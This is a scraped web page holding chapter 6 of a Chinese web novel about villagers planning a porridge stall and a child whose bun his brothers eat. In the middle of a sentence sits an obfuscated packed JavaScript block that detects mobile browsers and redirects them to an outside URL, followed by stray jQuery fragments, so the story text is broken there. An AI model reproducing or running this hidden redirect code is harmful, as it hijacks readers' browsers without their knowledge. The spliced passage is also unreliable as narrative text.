默认冷灰
24号文字
方正启体

6. 第6章

作者:糖包小栈本书字数:K更新时间:
    大人分成两派,一派是喜食酸口小菜配粉面菜蛋的媳妇夫郎,一派是喜欢喝粥吃肉满口金银饭的汉子们。


    村里的汉子都是干力气活的,别看韦阿爷年纪大,一早上山能砍五六担的柴,再自己担下来。


    他总结干力气活的汉子早上喝点粥,胃里舒坦。这粥呢咸淡适宜,满口鲜香,又有荤腥,吃了能饱腹。


    而那炒饭,里头有干饭,有鸡子,又有腊肉,滋味固然好,可这价钱定然也高。他若去集上吃早食,定然舍不得银钱买这炒饭顶一顿。


    至于两种口味的粥,到底是兔肉粥好,还是鱼肉粥好,说实话,很难分出胜负。兔肉有兔肉的滑嫩鲜香,鱼肉有鱼肉的鲜美,里头还加了切碎的豆腐,滑嫩也不输,真的很难选。


    依他看来,若卖早食,这两种可以都做。


    韦阿爷建议一出,桌上的人纷纷点头,都很认可。


    罗映在门口听了好一会儿了,听完心里已然有了主意。


    他做的本就是船夫、力工这些卖力气的人的生意,自然要依着汉子们的意见来,且这粥里能放的东西多,一煮一大锅,不消几天,铺子里的干菜就能少去大半。往后若有新鲜的山货送来,也可往粥里加。


    至于这些酸口小菜,不仅能用来配面,也能用来配粥。他们一开始不用弄那么复杂,先把生意做起来,待有了客源再慢慢地把菜品弄丰富。


    “只是……”


    正要迈步进去,罗映听见韦阿爷话锋一转,又顿住。


    “只是镇上、船上的那些人嘴刁着呢,这粥里只放杂粮怕是不妥。谁都知道白米攒劲儿,干力气活的嘴里要没吃到白饭,便觉得自己这钱花得亏了,不一定来我们这儿买。”


    镇上粥铺、面点铺很多,白米白面一应俱全,同样都是五文,就算你往粥里加了兔肉、鱼肉,有了荤腥,也不及那白粥白饭的吸引人啊,那才是真正饱肚子的。


    韦阿爷讲的,罗映也考虑到了,他边走进来边说:“我们当真要做那粥饭的生意,定然要加白米。白米四、杂米六这样混着煮。”


    覃婆子见罗映进来很是欢喜,招手让他坐到自己身边来。


    罗映过去,在覃阿奶身边坐下,继续道:“若一勺下去能看见白米,能看见杂粮,能看见肉,卖五文钱一碗,阿爷阿叔们可会买?”


    “那自然会买,只是……”


    石关村这几家是要合做生意的,不能只从买家的角度考虑问题,还得站在卖家的角度想。


    给罗映凑完那一石半的粮,各家杂粮能凑出来一些,但白米已经不多了。要往粥里加白米,他们得去镇上的米铺买。


    都是经历过大灾大难的人,知道这世道要真乱起来了,钱是最不顶用的。因而石关村的这些人赚了钱,要么换成粮食囤起来,要么直接吃进肚里,换成精肉长在身上,这样逃荒的时候才不至于半路就倒下。


    他们有心帮罗映筹些现钱,可能筹到的约摸也就是桌上这些铜子儿的双数至三数,他们真的把全部身家都带在身上了。


    就算凑出小一两银子,起灶买火砖、买铁锅要不要钱?这些都没有,白米买了又有何用?


    叶兰英刚想说,她儿子那箱笼里还有几块砚,几只狼毫笔,她可以拿去当铺里当了,换一些银钱回来,先顶一阵儿。


    罗映却是已从自己的衣兜里掏出了一样东西,放在了桌上。


    这东西外表坚硬,磕在桌上发出清脆的声响,一下把众人的目光都吸引了去。


    罗映说:“这是我太婆留给我的玉扳指,之前一直藏在行路的打草棍里,多亏大娘帮我拾了回来,不然这东西铁定不在了。我想拿去当铺里当了,换个三四两,一半拿去弄锅灶买白米,一半拿去买粮,把大家借我的那些粮都还上。”


    既然有这玉扳指,罗映一早怎不拿出来用?


    一是叶兰英行事太过风风火火,说要去凑粮,当天就去各个家里走了一趟,把能借来的粮都借了。合上自家攒的这些,第二天就让韦岸、杨金雷夫夫用板车拉到县衙里去了,还让易秀才走了一遭,把罗映的籍书弄了下来。罗映当时身子虚得只能躺在床上,没来得及阻拦。


    二是这玉扳指是罗映太婆的遗物,是她临终前塞给他的,告诉他在这个家待不下去了,就跑,跑得越远越好。那是罗映在这世上唯一亲近的人,他想着这是她唯一一样东西了,私心里还想多留留,再看看有没有其他的办法。


    现在路都想好了,也想通了,只差一笔钱了,罗映就打定主意将它当了。


    这不只关乎大娘一家的生死存亡,村里每一户都借他粮了,而他们今年的秋税还没有着落。这个食摊一定要办起来。


    罗映话说完,桌上的其他人都默了默。


    这孩子苦啊,活了十六载没得过家里人真心实意地对待,只一个外祖母的阿娘,性子里是纯善的,不管远近亲疏,对他有关切有疼爱。


    这样一个遗物,留给孩子的念想多,村里人还是希望再商讨商讨有没有别的法子,替阿映将这玉扳指留下。


    吴挑子的媳妇李江梅出声:“不然我们先起一个灶,煮一锅粥,把另一个灶的钱省下来买白米。”也不一定要一天做两种口味的粥,可以今天做兔肉,明天做鱼肉的。


    叶兰英想说她那兔崽子的箱笼里可多没什么用的破烂了,当了也不可惜,当他的。


    可她还是没来得及出声,罗映又道:“你们帮了我很多,我心上已觉亏欠,若不让我做些什么,我寝食难安。”


    他这种心情,在韦家之后逃难来的几户人家都能理解,因为他们也有同样的心情。


    他们当初也是走进凌云山,半条命都没了,被韦阿爷和覃阿奶发觉,一个一个地拖了回来,给他们饭吃给他们衣穿,让他们活下来。


    赋税、生计都是一家帮着一家想办法的,当时他们也有这种自己一定要做些什么的心情。


    所以罗映说完,最心直口快的叶兰英都没了声。


    心态乐观的覃婆子开解大家道:“大家都想严重了,这玉扳指当了,我们又不是赎不回来了。只要我们好好干,一条心,把这吃食生意做起来,不是很快就能攒够钱,把这扳指赎回来了吗?”


    玉扳指拿到当铺里肯定是活当,后面他们攒够了钱可以随时去赎。钱赚得越快,赎得也越早。


    一语惊醒梦中人。


    桌上这些愁得眉毛都打结的人,一下子舒展了,背也从靠椅上起来,坐正后说:“那我们赶紧商量商量吃食摊子要怎么做吧。”


    话题回到正道上,这下大家都很积极,七嘴八舌地讨论食摊的位置定在哪儿,火砖买多少块,哪家铁匠铺弄锅子便宜,村里人如何给阿映打下手,赚来的钱又如何按照各家出的食材来分配……


    商量了一通,足足商量了两个时辰,那几个吃完早食本该跑去玩的小孩儿也跟着听了两个时辰。


    “先这样吧,等李大船、赵永他们回来,我们再跟他们说一声儿。”


    七家人,今天只来了五家,剩下的两家都是手上有活计一早就出去了,等他们回来,再与他们说就是。


    今晚都知会都说定了,明儿便可去镇上的铺子看看灶怎么起,再把一些该买的东西买了。


    有了章程,各家也不在叶家久留了,下了山,各回各家。


    早上吃得这般好,中午简简单单地弄点东西,打发打发。各家媳妇夫郎不急着回去做饭,脚步就慢了下来,再想到刚才商讨的那些,忽然觉得日子变得好有盼头,头回脚步这么轻快地下了山。


    几个小孩也散了。


    王小年拿着叶大娘给自己用荷叶包好的包子走在最后。


    进家门,发现他爹王田和阿爹关屏劁猪回来了,箭一样冲过去,扑到他们怀里,一层一层地把荷叶展开,踮着脚,给他们看里头被他护得好好的“芙蓉包”。


    原只是一枚素馅包子,被他取了这样好听的名字。


    王田摸摸小哥儿的脑袋,抱起他,蓄满络腮胡的脸上露出和他弟弟一样的宠孩子的笑容。关屏在旁边用袖子给这跑得一身汗的小娃娃擦汗,眉目亦温和。


    “阿映哥、阿映哥做好吃的了……”小哥儿欲与他们讲今早山顶上发生的那些事儿,但太激动了,说了好几次还是卡着。


    王地听见声儿走了过来,代他说了。


    被爹抱着的年哥儿看到和隔壁李家一起去捕鱼的两个哥哥回来了,分享欲又上来,在他爹怀里游水一样打两下腿,让他爹松手,然后泥鳅一样滑下去。


    “大、大、大哥!二、二、二哥!”王小年追着两个年满十岁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179446|196946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的双生哥哥跑去。


    两个浑身是泥的小汉子激动于早上兄弟俩合力捕获的那条鱼上,听到年哥儿在耳边叽里呱啦地说着什么,眼睛也含糊地看了,嘴巴也含糊地应了,但注意力不在上头,故而没听清他在说什么。


    他们想把后院那口破瓦缸拾掇一下,把上头锋利的裂口砸平,把里头的土和碎草洗干净,用来养这条鱼。


    兄弟俩是不干完想做的事就不吃饭的性子,倔得很,家里人也都知道,没来叫,给他们留了饭菜,一家人先坐下来吃。


    饭桌上,年哥儿看一眼包子就笑一下,笑得嘴角的梨涡很是明显,把同桌吃饭的王田、关屏夫夫和王地、谢明燕夫妇看得直乐。


    王地逗他:“这么好看的包子,什么时候吃啊?别放馊了还舍不得吃哦。你要吃不下就给二叔,二叔这嘴,眨眼就能吞掉。”


    小年伸出手,笑容灿烂地兜住自己的包子,护食道:“等、等、等我睡完午觉起来就吃!”


    他要美美地睡个午觉,再美美地起来吃这包子,这样一天的心情都很美。


    王地笑道:“好咧,你就带上床,让它陪你睡午觉,睡醒了再一口吃掉。”


    王小年笑容更灿烂了。


    等王松林、王柏林兄弟俩收拾好那破瓦缸,放了水,再把自己捉的鱼放进去,王家的人早就吃好饭,各自忙活去了。


    兄弟俩天没亮啃个地瓜干就跟着李家二郎李朝义去溪里捕鱼捉虾,熬到这时候,早就饿得前胸贴后背了。


    洗过手,飞也似的跑向灶屋里,掀开饭罩子,也不仔细看他们阿爹今天煮了什么,兄弟俩端过菜盘子一人一半扒拉到饭里,拌一拌,端起来,倒一样往嘴里堵,堵那打鸣似的肚肠。


    许是兄弟俩今天饿得很了,关屏按照以往的饭量给他们留的,兄弟俩吃完却觉不够,放下用袖子擦嘴时发现桌沿处还放着一枚包子。


    这包子包得真是好,褶子清晰整齐,外表圆润,像朵花似的,兄弟俩也赏了好一会儿呢,可抵不住嘴馋啊,看着看着喉咙就动了两下。


    “听说今早山上的阿映哥做了好多吃的呢,瑶姐儿、年哥儿、李布几个都上去吃了,咱要去捕鱼,没吃到。”


    “这是剩的吧,咱们吃一口阿弟不会生气吧?”


    共用一张脸的兄弟俩一唱一和地把自己能吃的这个可能性端上来,又得到了对方的认可,就伸出手,把端放在盘子里的包子拿了起来。


    “咱们一人吃三分之一,别吃多,给阿弟留口。”


    “哥,你先吃。”


    “好了,二弟,给。”


    吃过午食的王小年美美地去了李布家一趟,美美地和他家的小不点玩了一通,回来用皂角洗了手,干干净净欢欢喜喜地走进屋来,要去拿自己放在桌上的包子,带着它回房午睡去,结果进来就撞上他二哥王柏林咬完包子放下的手。


    王小年顿在灶屋门口,看一眼用手背把那包子顶进嘴里的二哥,看一眼嘴唇泛光正用舌头舔的大哥,又看一眼桌上那个红润不再,只留两个黑漆漆的口子对着他的“芙蓉包”。


    嘴一瘪,泪成团,就要嚎出来。


    松林、柏林一见,慌了,赶忙跑过去哄:“没吃多,我们给你留了。”


    他们这阿弟乖着呢,轻易不嚎,一旦嚎了,那肯定是受了天大的委屈。他们就吃了一口包子,不至于吧。


    哪里不至于了,小哥儿美美的午觉,美美的计划,到此为止。


    他不听解释,“哇”的一声就嚎出来。


    太伤心了,他看了一早上的包子,中午还要继续看的,结果被两个哥哥这张无情的铁嘴咬去大半。


    再乖的孩子极致伤心难过时哪还记得自己是乖孩子的属性,躺在地上挺肚蹬腿,连翻打滚,怎么哄也哄不住,哭嚎的声音一浪高过一浪。


    院子里正在勾着脑袋剔毛的公鸡听见这动静,动作一停。


    养了好久的老鸭子本要领着相好去院子外头的空地溜达,脚都要迈过门槛了,听见这动静,一旋,又折了回去,快步朝鸭窝走。


    它的直觉是对的,它前脚刚进窝,后脚王田就提着柴刀气势汹汹地走来,脸上的表情能吃人。


    “王松林、王柏林,你们俩反了是吧!”涛涛的一声吼,像是要把屋顶都掀翻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)